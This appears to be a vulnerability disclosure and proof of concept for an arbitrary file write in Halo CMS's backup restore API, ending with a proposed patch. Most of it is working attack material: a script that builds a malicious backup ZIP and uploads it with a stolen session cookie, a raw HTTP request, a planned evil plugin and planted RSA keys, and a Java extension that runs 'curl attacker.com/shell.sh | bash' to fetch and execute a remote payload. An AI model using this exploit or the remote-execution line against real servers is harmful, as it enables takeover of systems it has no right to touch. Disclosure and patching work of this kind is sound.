private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                copyRecursively(workdir, haloProperties.getWorkDir());  // VULNERABLE LINE
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}

POST /apis/console.api.migration.halo.run/v1alpha1/restorations
Content-Type: multipart/form-data

┌─────────────────────────────────────────────────────────────┐
│  MigrationServiceImpl.restore()                             │
│  1. unpackBackup() → Extract ZIP to temp directory          │
│  2. restoreExtensions() → Restore extensions.data           │
│  3. restoreWorkdir() → Copy workdir/ to ~/.halo2/           │
│     ↑ Arbitrary files written to working directory          │
└─────────────────────────────────────────────────────────────┘

malicious-backup.zip
├── extensions.data          # Required: Can be empty or contain valid JSONL
└── workdir/                 # Required: Contents copied to ~/.halo2/
    ├── PWNED_BY_POC.txt     # Proof of concept marker file
    ├── plugins/             # Plugin JARs for RCE
    │   └── evil-plugin.jar  # Malicious plugin
    └── keys/                # RSA keys for authentication bypass
        ├── pat_id_rsa       # Malicious private key
        └── pat_id_rsa.pub   # Malicious public key

import zipfile
import io

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
    # Empty extensions.data (passes restoreExtensions validation)
    zf.writestr('extensions.data', '\n')

    # Arbitrary file to write to ~/.halo2/
    zf.writestr('workdir/PWNED_BY_POC.txt',
                'Arbitrary file write confirmed!')

with open('malicious-backup.zip', 'wb') as f:
    f.write(buf.getvalue())

POST /apis/console.api.migration.halo.run/v1alpha1/restorations HTTP/1.1
Host: target-halo-server
Content-Type: multipart/form-data; boundary=----boundary
Cookie: SESSION=<session_id>

------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="relativePath"

null
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="name"

malicious-backup.zip
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="type"

application/x-zip-compressed
------WebKitFormBoundaryGxAtuAd1a3VkmhZY
Content-Disposition: form-data; name="file"; filename="malicious-backup.zip"
Content-Type: application/x-zip-compressed

<ZIP file binary content>
------WebKitFormBoundaryGxAtuAd1a3VkmhZY--

# On the Halo server
ls -la ~/.halo2/PWNED_BY_POC.txt
cat ~/.halo2/PWNED_BY_POC.txt

@Extension
public class MaliciousExtension {
    @PostConstruct
    public void init() {
        // Execute arbitrary command
        Runtime.getRuntime().exec("bash -c 'curl attacker.com/shell.sh | bash'");
    }
}

#!/usr/bin/env python3
"""
Halo CMS Backup Restore Arbitrary File Write PoC
Vulnerability: Backup Restore Arbitrary File Write
CVSS: 8.8 (High)
"""

import io
import sys
import zipfile
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://target:8090"
SESSION = sys.argv[2] if len(sys.argv) > 2 else "SESSION=xxx"

def create_malicious_backup():
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        zf.writestr('extensions.data', '\n')
        zf.writestr('workdir/PWNED_BY_POC.txt',
                    'Halo backup restore arbitrary file write confirmed!')
    buf.seek(0)
    return buf

def exploit():
    backup = create_malicious_backup()
    url = f"{TARGET}/apis/console.api.migration.halo.run/v1alpha1/restorations"
    files = {'file': ('backup.zip', backup, 'application/zip')}
    headers = {'Cookie': SESSION}

    r = requests.post(url, files=files, headers=headers, verify=False, timeout=60)
    print(f"Status: {r.status_code}")
    print(f"Response: {r.text[:300]}")

    if r.status_code == 200:
        print("\n[+] SUCCESS! Check: cat ~/.halo2/PWNED_BY_POC.txt")

if __name__ == "__main__":
    exploit()

# Execute PoC
python3 poc.py http://192.168.49.128:8090 "SESSION=f3d4ae4a-c1ac-46ec-bfe8-82e3206ee232"

# On Halo server
cat ~/.halo2/PWNED_BY_POC.txt

private Mono<Void> restoreWorkdir(Path backupRoot) {
    return Mono.<Void>create(sink -> {
        try {
            var workdir = backupRoot.resolve("workdir");
            if (Files.exists(workdir)) {
                // Validate no path traversal
                checkDirectoryTraversal(backupRoot, workdir);

                // Validate no symbolic links
                Files.walkFileTree(workdir, new SimpleFileVisitor<Path>() {
                    @Override
                    public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) {
                        if (attrs.isSymbolicLink()) {
                            throw new SecurityException("Symbolic links not allowed");
                        }
                        return FileVisitResult.CONTINUE;
                    }
                });

                // Copy with validation
                copyRecursively(workdir, haloProperties.getWorkDir());
            }
            sink.success();
        } catch (IOException e) {
            sink.error(e);
        }
    }).subscribeOn(scheduler);
}